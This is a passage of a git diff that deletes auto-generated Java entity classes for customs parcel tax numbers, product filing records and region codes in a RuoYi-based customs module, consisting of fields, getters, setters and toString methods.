.append("buyerIdNumber", getBuyerIdNumber()) - .append("consignee", getConsignee()) - .append("consigneeTelephone", getConsigneeTelephone()) - .append("consigneeAddress", getConsigneeAddress()) - .append("consigneeProvince", getConsigneeProvince()) - .append("consigneeCity", getConsigneeCity()) - .append("consigneeDistrict", getConsigneeDistrict()) - .append("totalAmount", getTotalAmount()) - .append("discountAmount", getDiscountAmount()) - .append("payTotalAmount", getPayTotalAmount()) - .append("taxTotalAmount", getTaxTotalAmount()) - .append("shopTaxTotalAmount", getShopTaxTotalAmount()) - .append("freightAmount", getFreightAmount()) - .append("totalGrossWeight", getTotalGrossWeight()) - .append("totalNetWeight", getTotalNetWeight()) - .append("totalQuantity", getTotalQuantity()) - .append("payName", getPayName()) - .append("payCode", getPayCode()) - .append("payTime", getPayTime()) - .append("gatewayOrderId", getGatewayOrderId()) - .append("consignor", getConsignor()) - .append("consignorAddress", getConsignorAddress()) - .append("consignorTelephone", getConsignorTelephone()) - .append("consignorCountry", getConsignorCountry()) - .append("consignorProvince", getConsignorProvince()) - .append("consignorCity", getConsignorCity()) - .append("consignorDistrict", getConsignorDistrict()) - .append("receiptAccount", getReceiptAccount()) - .append("verDept", getVerDept()) - .append("payType", getPayType()) - .append("initalRequest", getInitalRequest()) - .append("initalResponse", getInitalResponse()) - .append("remark", getRemark()) - .append("expressReturn", getExpressReturn()) - .append("process", getProcess()) - .append("addTime", getAddTime()) - .append("inventoryNo", getInventoryNo()) - .append("batchNumber", getBatchNumber()) - .append("customOrderItemList", getCustomOrderItemList()) - .toString(); - } -} diff --git a/luqj-custom/src/main/java/com/ruoyi/custom/domain/CustomParcelNumber.java b/luqj-custom/src/main/java/com/ruoyi/custom/domain/CustomParcelNumber.java deleted file mode 100644 index a84d9c4..0000000 --- a/luqj-custom/src/main/java/com/ruoyi/custom/domain/CustomParcelNumber.java +++ /dev/null @@ -1,141 +0,0 @@ -package com.ruoyi.custom.domain; - -import java.math.BigDecimal; -import java.util.Date; -import com.fasterxml.jackson.annotation.JsonFormat; -import org.apache.commons.lang3.builder.ToStringBuilder; -import org.apache.commons.lang3.builder.ToStringStyle; -import com.ruoyi.common.annotation.Excel; -import com.ruoyi.common.core.domain.BaseEntity; -import java.io.Serializable; -/** - * 行邮税号对象 custom_parcel_number - * - * @author luqj - * @date 2021-10-23 - */ -public class CustomParcelNumber extends BaseEntity -{ - private static final long serialVersionUID = 1L; - - /** $column.columnComment */ - private Long id; - - /** 行邮税号 */ - @Excel(name = "行邮税号") - private String parcelNumber; - - /** 品名及规格 */ - @Excel(name = "品名及规格") - private String name; - - /** 单位 */ - @Excel(name = "单位") - private String unit; - - /** 完税价格 */ - @Excel(name = "完税价格") - private BigDecimal price; - - /** 税率 */ - @Excel(name = "税率") - private BigDecimal taxRate; - - /** 税额 */ - @Excel(name = "税额") - private BigDecimal taxAmount; - - /** 添加时间 */ - @JsonFormat(pattern = "yyyy-MM-dd") - @Excel(name = "添加时间", width = 30, dateFormat = "yyyy-MM-dd") - private Date addTime; - - public void setId(Long id) - { - this.id = id; - } - - public Long getId() - { - return id; - } - public void setParcelNumber(String parcelNumber) - { - this.parcelNumber = parcelNumber; - } - - public String getParcelNumber() - { - return parcelNumber; - } - public void setName(String name) - { - this.name = name; - } - - public String getName() - { - return name; - } - public void setUnit(String unit) - { - this.unit = unit; - } - - public String getUnit() - { - return unit; - } - public void setPrice(BigDecimal price) - { - this.price = price; - } - - public BigDecimal getPrice() - { - return price; - } - public void setTaxRate(BigDecimal taxRate) - { - this.taxRate = taxRate; - } - - public BigDecimal getTaxRate() - { - return taxRate; - } - public void setTaxAmount(BigDecimal taxAmount) - { - this.taxAmount = taxAmount; - } - - public BigDecimal getTaxAmount() - { - return taxAmount; - } - public void setAddTime(Date addTime) - { - this.addTime = addTime; - } - - public Date getAddTime() - { - return addTime; - } - - @Override - public String toString() { - return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) - .append("id", getId()) - .append("parcelNumber", getParcelNumber()) - .append("name", getName()) - .append("unit", getUnit()) - .append("price", getPrice()) - .append("taxRate", getTaxRate()) - .append("taxAmount", getTaxAmount()) - .append("remark", getRemark()) - .append("addTime", getAddTime()) - .append("updateTime", getUpdateTime()) - .toString(); - } -} diff --git a/luqj-custom/src/main/java/com/ruoyi/custom/domain/CustomParcelNumberPlus.java b/luqj-custom/src/main/java/com/ruoyi/custom/domain/CustomParcelNumberPlus.java deleted file mode 100644 index 28a0581..0000000 --- a/luqj-custom/src/main/java/com/ruoyi/custom/domain/CustomParcelNumberPlus.java +++ /dev/null @@ -1,159 +0,0 @@ -package com.ruoyi.custom.domain; - -import java.math.BigDecimal; -import java.util.Date; -import com.fasterxml.jackson.annotation.JsonFormat; -import org.apache.commons.lang3.builder.ToStringBuilder; -import org.apache.commons.lang3.builder.ToStringStyle; -import com.ruoyi.common.annotation.Excel; -import com.ruoyi.common.core.domain.BaseEntity; -import java.io.Serializable; -import java.util.Date; -import com.baomidou.mybatisplus.annotation.TableName; -/** - * 行邮税号对象 custom_parcel_number - * - * @author luqj - * @date 2021-10-23 - */ -@TableName(value = "custom_parcel_number") -public class CustomParcelNumberPlus implements Serializable -{ - private static final long serialVersionUID = 1L; - - /** $column.columnComment */ - private Long id; - /** 行邮税号 */ - @Excel(name = "行邮税号") - private String parcelNumber; - /** 品名及规格 */ - @Excel(name = "品名及规格") - private String name; - /** 单位 */ - @Excel(name = "单位") - private String unit; - /** 完税价格 */ - @Excel(name = "完税价格") - private BigDecimal price; - /** 税率 */ - @Excel(name = "税率") - private BigDecimal taxRate; - /** 税额 */ - @Excel(name = "税额") - private BigDecimal taxAmount; - /** 备注 */ - @Excel(name = "备注") - private String remark; - /** 添加时间 */ - @JsonFormat(pattern = "yyyy-MM-dd") - @Excel(name = "添加时间", width = 30, dateFormat = "yyyy-MM-dd") - private Date addTime; - /** 更新时间 */ - private Date updateTime; - public void setId(Long id) - { - this.id = id; - } - - public Long getId() - { - return id; - } - public void setParcelNumber(String parcelNumber) - { - this.parcelNumber = parcelNumber; - } - - public String getParcelNumber() - { - return parcelNumber; - } - public void setName(String name) - { - this.name = name; - } - - public String getName() - { - return name; - } - public void setUnit(String unit) - { - this.unit = unit; - } - - public String getUnit() - { - return unit; - } - public void setPrice(BigDecimal price) - { - this.price = price; - } - - public BigDecimal getPrice() - { - return price; - } - public void setTaxRate(BigDecimal taxRate) - { - this.taxRate = taxRate; - } - - public BigDecimal getTaxRate() - { - return taxRate; - } - public void setTaxAmount(BigDecimal taxAmount) - { - this.taxAmount = taxAmount; - } - - public BigDecimal getTaxAmount() - { - return taxAmount; - } - public void setRemark(String remark) - { - this.remark = remark; - } - - public String getRemark() - { - return remark; - } - public void setAddTime(Date addTime) - { - this.addTime = addTime; - } - - public Date getAddTime() - { - return addTime; - } - public void setUpdateTime(Date updateTime) - { - this.updateTime = updateTime; - } - - public Date getUpdateTime() - { - return updateTime; - } - - @Override - public String toString() { - return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) - .append("id", getId()) - .append("parcelNumber", getParcelNumber()) - .append("name", getName()) - .append("unit", getUnit()) - .append("price", getPrice()) - .append("taxRate", getTaxRate()) - .append("taxAmount", getTaxAmount()) - .append("remark", getRemark()) - .append("addTime", getAddTime()) - .append("updateTime", getUpdateTime()) - .toString(); - } -} diff --git a/luqj-custom/src/main/java/com/ruoyi/custom/domain/CustomProductRecord.java b/luqj-custom/src/main/java/com/ruoyi/custom/domain/CustomProductRecord.java deleted file mode 100644 index 0700990..0000000 --- a/luqj-custom/src/main/java/com/ruoyi/custom/domain/CustomProductRecord.java +++ /dev/null @@ -1,533 +0,0 @@ -package com.ruoyi.custom.domain; - -import java.math.BigDecimal; -import java.util.Date; -import com.fasterxml.jackson.annotation.JsonFormat; -import org.apache.commons.lang3.builder.ToStringBuilder; -import org.apache.commons.lang3.builder.ToStringStyle; -import com.ruoyi.common.annotation.Excel; -import com.ruoyi.common.core.domain.BaseEntity; -import java.io.Serializable; -/** - * 商品备案对象 custom_product_record - * - * @author luqj - * @date 2021-10-23 - */ -public class CustomProductRecord extends BaseEntity -{ - private static final long serialVersionUID = 1L; - - /** $column.columnComment */ - private Long id; - - /** sku编码 */ - @Excel(name = "sku编码") - private String skuCode; - - /** 商品条形码 */ - @Excel(name = "商品条形码") - private String barCode; - - /** 商品货号 */ - @Excel(name = "商品货号") - private String productCode; - - /** HS编码 */ - @Excel(name = "HS编码") - private String hsCode; - - /** 商品名称 */ - @Excel(name = "商品名称") - private String name; - - /** 品牌 */ - @Excel(name = "品牌") - private String brand; - - /** 商品描述 */ - @Excel(name = "商品描述") - private String description; - - /** 规格型号 */ - @Excel(name = "规格型号") - private String specificationModel; - - /** 生产国 */ - @Excel(name = "生产国") - private String produceCountry; - - /** 生产国代码 */ - @Excel(name = "生产国代码") - private String produceCountryCode; - - /** 数量单位 */ - @Excel(name = "数量单位") - private String quantityUnit; - - /** 数量单位代码 */ - @Excel(name = "数量单位代码") - private String quantityUnitCode; - - /** 申报数量(法定数量=申报数量*购买数量) */ - @Excel(name = "申报数量", readConverterExp = "法=定数量=申报数量*购买数量") - private BigDecimal declaredCount; - - /** 法定计量单位 */ - @Excel(name = "法定计量单位") - private String legalMeteringUnit; - - /** 法定计量单位代码 */ - @Excel(name = "法定计量单位代码") - private String legalMeteringUnitCode; - - /** 第二申报数量(第二数量=第二申报数量*购买数量) */ - @Excel(name = "第二申报数量", readConverterExp = "第=二数量=第二申报数量*购买数量") - private BigDecimal secondDeclaredCount; - - /** 第二计量单位 */ - @Excel(name = "第二计量单位") - private String secondMeteringUnit; - - /** 第二计量单位代码 */ - @Excel(name = "第二计量单位代码") - private String secondMeteringUnitCode; - - /** 单价 */ - @Excel(name = "单价") - private BigDecimal price; - - /** 毛重(KG) */ - @Excel(name = "毛重", readConverterExp = "K=G") - private BigDecimal grossWeight; - - /** 净重(KG) */ - @Excel(name = "净重", readConverterExp = "K=G") - private BigDecimal netWeight; - - /** 检验检疫编码 */ - @Excel(name = "检验检疫编码") - private String inspectionAndQuarantineCode; - - /** 用户id */ - @Excel(name = "用户id") - private Long userId; - - /** 仓库id */ - @Excel(name = "仓库id") - private Long warehouseId; - - /** 申报口岸Id */ - @Excel(name = "申报口岸Id") - private Long declarePortId; - - /** 税率 */ - @Excel(name = "税率") - private BigDecimal taxRate; - - /** 成分 */ - @Excel(name = "成分") - private String ingredient; - - /** 账(手)册商品序号 */ - @Excel(name = "账(手)册商品序号") - private String bookNumber; - - /** 1、保税;2、直邮;3、个人 */ - @Excel(name = "1、保税;2、直邮;3、个人") - private Integer type; - - /** 添加时间 */ - @JsonFormat(pattern = "yyyy-MM-dd") - @Excel(name = "添加时间", width = 30, dateFormat = "yyyy-MM-dd") - private Date addTime; - - /** 行邮税号 */ - @Excel(name = "行邮税号") - private String parcelNumber; - - /** 行邮税率 */ - @Excel(name = "行邮税率") - private BigDecimal parcelNumberTaxRate; - - /** 英文品名 */ - @Excel(name = "英文品名") - private String englishName; - - /** 完税价格 */ - @Excel(name = "完税价格") - private BigDecimal dutyPrice; - - /** 税额 */ - @Excel(name = "税额") - private BigDecimal taxAmount; - - public void setId(Long id) - { - this.id = id; - } - - public Long getId() - { - return id; - } - public void setSkuCode(String skuCode) - { - this.skuCode = skuCode; - } - - public String getSkuCode() - { - return skuCode; - } - public void setBarCode(String barCode) - { - this.barCode = barCode; - } - - public String getBarCode() - { - return barCode; - } - public void setProductCode(String productCode) - { - this.productCode = productCode; - } - - public String getProductCode() - { - return productCode; - } - public void setHsCode(String hsCode) - { - this.hsCode = hsCode; - } - - public String getHsCode() - { - return hsCode; - } - public void setName(String name) - { - this.name = name; - } - - public String getName() - { - return name; - } - public void setBrand(String brand) - { - this.brand = brand; - } - - public String getBrand() - { - return brand; - } - public void setDescription(String description) - { - this.description = description; - } - - public String getDescription() - { - return description; - } - public void setSpecificationModel(String specificationModel) - { - this.specificationModel = specificationModel; - } - - public String getSpecificationModel() - { - return specificationModel; - } - public void setProduceCountry(String produceCountry) - { - this.produceCountry = produceCountry; - } - - public String getProduceCountry() - { - return produceCountry; - } - public void setProduceCountryCode(String produceCountryCode) - { - this.produceCountryCode = produceCountryCode; - } - - public String getProduceCountryCode() - { - return produceCountryCode; - } - public void setQuantityUnit(String quantityUnit) - { - this.quantityUnit = quantityUnit; - } - - public String getQuantityUnit() - { - return quantityUnit; - } - public void setQuantityUnitCode(String quantityUnitCode) - { - this.quantityUnitCode = quantityUnitCode; - } - - public String getQuantityUnitCode() - { - return quantityUnitCode; - } - public void setDeclaredCount(BigDecimal declaredCount) - { - this.declaredCount = declaredCount; - } - - public BigDecimal getDeclaredCount() - { - return declaredCount; - } - public void setLegalMeteringUnit(String legalMeteringUnit) - { - this.legalMeteringUnit = legalMeteringUnit; - } - - public String getLegalMeteringUnit() - { - return legalMeteringUnit; - } - public void setLegalMeteringUnitCode(String legalMeteringUnitCode) - { - this.legalMeteringUnitCode = legalMeteringUnitCode; - } - - public String getLegalMeteringUnitCode() - { - return legalMeteringUnitCode; - } - public void setSecondDeclaredCount(BigDecimal secondDeclaredCount) - { - this.secondDeclaredCount = secondDeclaredCount; - } - - public BigDecimal getSecondDeclaredCount() - { - return secondDeclaredCount; - } - public void setSecondMeteringUnit(String secondMeteringUnit) - { - this.secondMeteringUnit = secondMeteringUnit; - } - - public String getSecondMeteringUnit() - { - return secondMeteringUnit; - } - public void setSecondMeteringUnitCode(String secondMeteringUnitCode) - { - this.secondMeteringUnitCode = secondMeteringUnitCode; - } - - public String getSecondMeteringUnitCode() - { - return secondMeteringUnitCode; - } - public void setPrice(BigDecimal price) - { - this.price = price; - } - - public BigDecimal getPrice() - { - return price; - } - public void setGrossWeight(BigDecimal grossWeight) - { - this.grossWeight = grossWeight; - } - - public BigDecimal getGrossWeight() - { - return grossWeight; - } - public void setNetWeight(BigDecimal netWeight) - { - this.netWeight = netWeight; - } - - public BigDecimal getNetWeight() - { - return netWeight; - } - public void setInspectionAndQuarantineCode(String inspectionAndQuarantineCode) - { - this.inspectionAndQuarantineCode = inspectionAndQuarantineCode; - } - - public String getInspectionAndQuarantineCode() - { - return inspectionAndQuarantineCode; - } - public void setUserId(Long userId) - { - this.userId = userId; - } - - public Long getUserId() - { - return userId; - } - public void setWarehouseId(Long warehouseId) - { - this.warehouseId = warehouseId; - } - - public Long getWarehouseId() - { - return warehouseId; - } - public void setDeclarePortId(Long declarePortId) - { - this.declarePortId = declarePortId; - } - - public Long getDeclarePortId() - { - return declarePortId; - } - public void setTaxRate(BigDecimal taxRate) - { - this.taxRate = taxRate; - } - - public BigDecimal getTaxRate() - { - return taxRate; - } - public void setIngredient(String ingredient) - { - this.ingredient = ingredient; - } - - public String getIngredient() - { - return ingredient; - } - public void setBookNumber(String bookNumber) - { - this.bookNumber = bookNumber; - } - - public String getBookNumber() - { - return bookNumber; - } - public void setType(Integer type) - { - this.type = type; - } - - public Integer getType() - { - return type; - } - public void setAddTime(Date addTime) - { - this.addTime = addTime; - } - - public Date getAddTime() - { - return addTime; - } - public void setParcelNumber(String parcelNumber) - { - this.parcelNumber = parcelNumber; - } - - public String getParcelNumber() - { - return parcelNumber; - } - public void setParcelNumberTaxRate(BigDecimal parcelNumberTaxRate) - { - this.parcelNumberTaxRate = parcelNumberTaxRate; - } - - public BigDecimal getParcelNumberTaxRate() - { - return parcelNumberTaxRate; - } - public void setEnglishName(String englishName) - { - this.englishName = englishName; - } - - public String getEnglishName() - { - return englishName; - } - public void setDutyPrice(BigDecimal dutyPrice) - { - this.dutyPrice = dutyPrice; - } - - public BigDecimal getDutyPrice() - { - return dutyPrice; - } - public void setTaxAmount(BigDecimal taxAmount) - { - this.taxAmount = taxAmount; - } - - public BigDecimal getTaxAmount() - { - return taxAmount; - } - - @Override - public String toString() { - return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) - .append("id", getId()) - .append("skuCode", getSkuCode()) - .append("barCode", getBarCode()) - .append("productCode", getProductCode()) - .append("hsCode", getHsCode()) - .append("name", getName()) - .append("brand", getBrand()) - .append("description", getDescription()) - .append("specificationModel", getSpecificationModel()) - .append("produceCountry", getProduceCountry()) - .append("produceCountryCode", getProduceCountryCode()) - .append("quantityUnit", getQuantityUnit()) - .append("quantityUnitCode", getQuantityUnitCode()) - .append("declaredCount", getDeclaredCount()) - .append("legalMeteringUnit", getLegalMeteringUnit()) - .append("legalMeteringUnitCode", getLegalMeteringUnitCode()) - .append("secondDeclaredCount", getSecondDeclaredCount()) - .append("secondMeteringUnit", getSecondMeteringUnit()) - .append("secondMeteringUnitCode", getSecondMeteringUnitCode()) - .append("price", getPrice()) - .append("grossWeight", getGrossWeight()) - .append("netWeight", getNetWeight()) - .append("remark", getRemark()) - .append("inspectionAndQuarantineCode", getInspectionAndQuarantineCode()) - .append("userId", getUserId()) - .append("warehouseId", getWarehouseId()) - .append("declarePortId", getDeclarePortId()) - .append("taxRate", getTaxRate()) - .append("ingredient", getIngredient()) - .append("bookNumber", getBookNumber()) - .append("type", getType()) - .append("addTime", getAddTime()) - .append("parcelNumber", getParcelNumber()) - .append("parcelNumberTaxRate", getParcelNumberTaxRate()) - .append("englishName", getEnglishName()) - .append("dutyPrice", getDutyPrice()) - .append("taxAmount", getTaxAmount()) - .append("updateTime", getUpdateTime()) - .toString(); - } -} diff --git a/luqj-custom/src/main/java/com/ruoyi/custom/domain/CustomProductRecordPlus.java b/luqj-custom/src/main/java/com/ruoyi/custom/domain/CustomProductRecordPlus.java deleted file mode 100644 index 08e7619..0000000 --- a/luqj-custom/src/main/java/com/ruoyi/custom/domain/CustomProductRecordPlus.java +++ /dev/null @@ -1,523 +0,0 @@ -package com.ruoyi.custom.domain; - -import java.math.BigDecimal; -import java.util.Date; -import com.fasterxml.jackson.annotation.JsonFormat; -import org.apache.commons.lang3.builder.ToStringBuilder; -import org.apache.commons.lang3.builder.ToStringStyle; -import com.ruoyi.common.annotation.Excel; -import com.ruoyi.common.core.domain.BaseEntity; -import java.io.Serializable; -import java.util.Date; -import com.baomidou.mybatisplus.annotation.TableName; -/** - * 商品备案对象 custom_product_record - * - * @author luqj - * @date 2021-10-23 - */ -@TableName(value = "custom_product_record") -public class CustomProductRecordPlus implements Serializable -{ - private static final long serialVersionUID = 1L; - - /** $column.columnComment */ - private Long id; - /** sku编码 */ - @Excel(name = "sku编码") - private String skuCode; - /** 商品条形码 */ - @Excel(name = "商品条形码") - private String barCode; - /** 商品货号 */ - @Excel(name = "商品货号") - private String productCode; - /** HS编码 */ - @Excel(name = "HS编码") - private String hsCode; - /** 商品名称 */ - @Excel(name = "商品名称") - private String name; - /** 品牌 */ - @Excel(name = "品牌") - private String brand; - /** 商品描述 */ - @Excel(name = "商品描述") - private String description; - /** 规格型号 */ - @Excel(name = "规格型号") - private String specificationModel; - /** 生产国 */ - @Excel(name = "生产国") - private String produceCountry; - /** 生产国代码 */ - @Excel(name = "生产国代码") - private String produceCountryCode; - /** 数量单位 */ - @Excel(name = "数量单位") - private String quantityUnit; - /** 数量单位代码 */ - @Excel(name = "数量单位代码") - private String quantityUnitCode; - /** 申报数量(法定数量=申报数量*购买数量) */ - @Excel(name = "申报数量", readConverterExp = "法=定数量=申报数量*购买数量") - private BigDecimal declaredCount; - /** 法定计量单位 */ - @Excel(name = "法定计量单位") - private String legalMeteringUnit; - /** 法定计量单位代码 */ - @Excel(name = "法定计量单位代码") - private String legalMeteringUnitCode; - /** 第二申报数量(第二数量=第二申报数量*购买数量) */ - @Excel(name = "第二申报数量", readConverterExp = "第=二数量=第二申报数量*购买数量") - private BigDecimal secondDeclaredCount; - /** 第二计量单位 */ - @Excel(name = "第二计量单位") - private String secondMeteringUnit; - /** 第二计量单位代码 */ - @Excel(name = "第二计量单位代码") - private String secondMeteringUnitCode; - /** 单价 */ - @Excel(name = "单价") - private BigDecimal price; - /** 毛重(KG) */ - @Excel(name = "毛重", readConverterExp = "K=G") - private BigDecimal grossWeight; - /** 净重(KG) */ - @Excel(name = "净重", readConverterExp = "K=G") - private BigDecimal netWeight; - /** 备注 */ - @Excel(name = "备注") - private String remark; - /** 检验检疫编码 */ - @Excel(name = "检验检疫编码") - private String inspectionAndQuarantineCode; - /** 用户id */ - @Excel(name = "用户id") - private Long userId; - /** 仓库id */ - @Excel(name = "仓库id") - private Long warehouseId; - /** 申报口岸Id */ - @Excel(name = "申报口岸Id") - private Long declarePortId; - /** 税率 */ - @Excel(name = "税率") - private BigDecimal taxRate; - /** 成分 */ - @Excel(name = "成分") - private String ingredient; - /** 账(手)册商品序号 */ - @Excel(name = "账(手)册商品序号") - private String bookNumber; - /** 1、保税;2、直邮;3、个人 */ - @Excel(name = "1、保税;2、直邮;3、个人") - private Integer type; - /** 添加时间 */ - @JsonFormat(pattern = "yyyy-MM-dd") - @Excel(name = "添加时间", width = 30, dateFormat = "yyyy-MM-dd") - private Date addTime; - /** 行邮税号 */ - @Excel(name = "行邮税号") - private String parcelNumber; - /** 行邮税率 */ - @Excel(name = "行邮税率") - private BigDecimal parcelNumberTaxRate; - /** 英文品名 */ - @Excel(name = "英文品名") - private String englishName; - /** 完税价格 */ - @Excel(name = "完税价格") - private BigDecimal dutyPrice; - /** 税额 */ - @Excel(name = "税额") - private BigDecimal taxAmount; - /** 更新时间 */ - private Date updateTime; - public void setId(Long id) - { - this.id = id; - } - - public Long getId() - { - return id; - } - public void setSkuCode(String skuCode) - { - this.skuCode = skuCode; - } - - public String getSkuCode() - { - return skuCode; - } - public void setBarCode(String barCode) - { - this.barCode = barCode; - } - - public String getBarCode() - { - return barCode; - } - public void setProductCode(String productCode) - { - this.productCode = productCode; - } - - public String getProductCode() - { - return productCode; - } - public void setHsCode(String hsCode) - { - this.hsCode = hsCode; - } - - public String getHsCode() - { - return hsCode; - } - public void setName(String name) - { - this.name = name; - } - - public String getName() - { - return name; - } - public void setBrand(String brand) - { - this.brand = brand; - } - - public String getBrand() - { - return brand; - } - public void setDescription(String description) - { - this.description = description; - } - - public String getDescription() - { - return description; - } - public void setSpecificationModel(String specificationModel) - { - this.specificationModel = specificationModel; - } - - public String getSpecificationModel() - { - return specificationModel; - } - public void setProduceCountry(String produceCountry) - { - this.produceCountry = produceCountry; - } - - public String getProduceCountry() - { - return produceCountry; - } - public void setProduceCountryCode(String produceCountryCode) - { - this.produceCountryCode = produceCountryCode; - } - - public String getProduceCountryCode() - { - return produceCountryCode; - } - public void setQuantityUnit(String quantityUnit) - { - this.quantityUnit = quantityUnit; - } - - public String getQuantityUnit() - { - return quantityUnit; - } - public void setQuantityUnitCode(String quantityUnitCode) - { - this.quantityUnitCode = quantityUnitCode; - } - - public String getQuantityUnitCode() - { - return quantityUnitCode; - } - public void setDeclaredCount(BigDecimal declaredCount) - { - this.declaredCount = declaredCount; - } - - public BigDecimal getDeclaredCount() - { - return declaredCount; - } - public void setLegalMeteringUnit(String legalMeteringUnit) - { - this.legalMeteringUnit = legalMeteringUnit; - } - - public String getLegalMeteringUnit() - { - return legalMeteringUnit; - } - public void setLegalMeteringUnitCode(String legalMeteringUnitCode) - { - this.legalMeteringUnitCode = legalMeteringUnitCode; - } - - public String getLegalMeteringUnitCode() - { - return legalMeteringUnitCode; - } - public void setSecondDeclaredCount(BigDecimal secondDeclaredCount) - { - this.secondDeclaredCount = secondDeclaredCount; - } - - public BigDecimal getSecondDeclaredCount() - { - return secondDeclaredCount; - } - public void setSecondMeteringUnit(String secondMeteringUnit) - { - this.secondMeteringUnit = secondMeteringUnit; - } - - public String getSecondMeteringUnit() - { - return secondMeteringUnit; - } - public void setSecondMeteringUnitCode(String secondMeteringUnitCode) - { - this.secondMeteringUnitCode = secondMeteringUnitCode; - } - - public String getSecondMeteringUnitCode() - { - return secondMeteringUnitCode; - } - public void setPrice(BigDecimal price) - { - this.price = price; - } - - public BigDecimal getPrice() - { - return price; - } - public void setGrossWeight(BigDecimal grossWeight) - { - this.grossWeight = grossWeight; - } - - public BigDecimal getGrossWeight() - { - return grossWeight; - } - public void setNetWeight(BigDecimal netWeight) - { - this.netWeight = netWeight; - } - - public BigDecimal getNetWeight() - { - return netWeight; - } - public void setRemark(String remark) - { - this.remark = remark; - } - - public String getRemark() - { - return remark; - } - public void setInspectionAndQuarantineCode(String inspectionAndQuarantineCode) - { - this.inspectionAndQuarantineCode = inspectionAndQuarantineCode; - } - - public String getInspectionAndQuarantineCode() - { - return inspectionAndQuarantineCode; - } - public void setUserId(Long userId) - { - this.userId = userId; - } - - public Long getUserId() - { - return userId; - } - public void setWarehouseId(Long warehouseId) - { - this.warehouseId = warehouseId; - } - - public Long getWarehouseId() - { - return warehouseId; - } - public void setDeclarePortId(Long declarePortId) - { - this.declarePortId = declarePortId; - } - - public Long getDeclarePortId() - { - return declarePortId; - } - public void setTaxRate(BigDecimal taxRate) - { - this.taxRate = taxRate; - } - - public BigDecimal getTaxRate() - { - return taxRate; - } - public void setIngredient(String ingredient) - { - this.ingredient = ingredient; - } - - public String getIngredient() - { - return ingredient; - } - public void setBookNumber(String bookNumber) - { - this.bookNumber = bookNumber; - } - - public String getBookNumber() - { - return bookNumber; - } - public void setType(Integer type) - { - this.type = type; - } - - public Integer getType() - { - return type; - } - public void setAddTime(Date addTime) - { - this.addTime = addTime; - } - - public Date getAddTime() - { - return addTime; - } - public void setParcelNumber(String parcelNumber) - { - this.parcelNumber = parcelNumber; - } - - public String getParcelNumber() - { - return parcelNumber; - } - public void setParcelNumberTaxRate(BigDecimal parcelNumberTaxRate) - { - this.parcelNumberTaxRate = parcelNumberTaxRate; - } - - public BigDecimal getParcelNumberTaxRate() - { - return parcelNumberTaxRate; - } - public void setEnglishName(String englishName) - { - this.englishName = englishName; - } - - public String getEnglishName() - { - return englishName; - } - public void setDutyPrice(BigDecimal dutyPrice) - { - this.dutyPrice = dutyPrice; - } - - public BigDecimal getDutyPrice() - { - return dutyPrice; - } - public void setTaxAmount(BigDecimal taxAmount) - { - this.taxAmount = taxAmount; - } - - public BigDecimal getTaxAmount() - { - return taxAmount; - } - public void setUpdateTime(Date updateTime) - { - this.updateTime = updateTime; - } - - public Date getUpdateTime() - { - return updateTime; - } - - @Override - public String toString() { - return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) - .append("id", getId()) - .append("skuCode", getSkuCode()) - .append("barCode", getBarCode()) - .append("productCode", getProductCode()) - .append("hsCode", getHsCode()) - .append("name", getName()) - .append("brand", getBrand()) - .append("description", getDescription()) - .append("specificationModel", getSpecificationModel()) - .append("produceCountry", getProduceCountry()) - .append("produceCountryCode", getProduceCountryCode()) - .append("quantityUnit", getQuantityUnit()) - .append("quantityUnitCode", getQuantityUnitCode()) - .append("declaredCount", getDeclaredCount()) - .append("legalMeteringUnit", getLegalMeteringUnit()) - .append("legalMeteringUnitCode", getLegalMeteringUnitCode()) - .append("secondDeclaredCount", getSecondDeclaredCount()) - .append("secondMeteringUnit", getSecondMeteringUnit()) - .append("secondMeteringUnitCode", getSecondMeteringUnitCode()) - .append("price", getPrice()) - .append("grossWeight", getGrossWeight()) - .append("netWeight", getNetWeight()) - .append("remark", getRemark()) - .append("inspectionAndQuarantineCode", getInspectionAndQuarantineCode()) - .append("userId", getUserId()) - .append("warehouseId", getWarehouseId()) - .append("declarePortId", getDeclarePortId()) - .append("taxRate", getTaxRate()) - .append("ingredient", getIngredient()) - .append("bookNumber", getBookNumber()) - .append("type", getType()) - .append("addTime", getAddTime()) - .append("parcelNumber", getParcelNumber()) - .append("parcelNumberTaxRate", getParcelNumberTaxRate()) - .append("englishName", getEnglishName()) - .append("dutyPrice", getDutyPrice()) - .append("taxAmount", getTaxAmount()) - .append("updateTime", getUpdateTime()) - .toString(); - } -} diff --git a/luqj-custom/src/main/java/com/ruoyi/custom/domain/CustomRegionCode.java b/luqj-custom/src/main/java/com/ruoyi/custom/domain/CustomRegionCode.java deleted file mode 100644 index 3aced0d..0000000 --- a/luqj-custom/src/main/java/com/ruoyi/custom/domain/CustomRegionCode.java +++ /dev/null @@ -1,90 +0,0 @@ -package com.ruoyi.custom.domain; - -import com.ruoyi.common.core.domain.BaseEntity; -import org.apache.commons.lang3.builder.ToStringBuilder; -import org.apache.commons.lang3.builder.ToStringStyle; -import com.ruoyi.common.annotation.Excel; -import com.ruoyi.common.core.domain.TreeEntity; -import java.io.Serializable; -/** - * 国家行政区划代码对象 custom_region_code - * - * @author luqj - * @date 2021-10-23 - */ -public class CustomRegionCode extends BaseEntity -{ - private static final long serialVersionUID = 1L; - - /** 主键 */ - private Long id; - - /** 编码 */ - @Excel(name = "编码") - private String code; - - /** 名称 */ - @Excel(name = "名称") - private String name; - private Long parentId; - /** 等级 */ - @Excel(name = "等级") - private Integer grade; - - public Long getParentId() { - return parentId; - } - - public void setParentId(Long parentId) { - this.parentId = parentId; - } - - public void setId(Long id) - { - this.id = id; - } - - public Long getId() - { - return id; - } - public void setCode(String code) - { - this.code = code; - } - - public String getCode() - { - return code; - } - public void setName(String name) - { - this.name = name; - } - - public String getName() - { - return name; - } - public void setGrade(Integer grade) - { - this.grade = grade; - } - - public Integer getGrade() - { - return grade; - } - - @Override - public String toString() { - return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) - .append("id", getId()) - .append("parentId", getParentId()) - .append("code", getCode()) - .append("name", getName()) - .append("remark", getRemark()) - .append("grade", getGrade()) - .toString(); - } -} diff --git a/luqj-custom/src/main/java/com/ruoyi/custom/domain/CustomRegionCodePlus.java b/luqj-custom/src/main/java/com/ruoyi/custom/domain/CustomRegionCodePlus.java deleted file mode 100644 index 40c6bfb..0000000 --- a/luqj-custom/src/main/java/com/ruoyi/custom/domain/CustomRegionCodePlus.java +++ /dev/null @@ -1,104 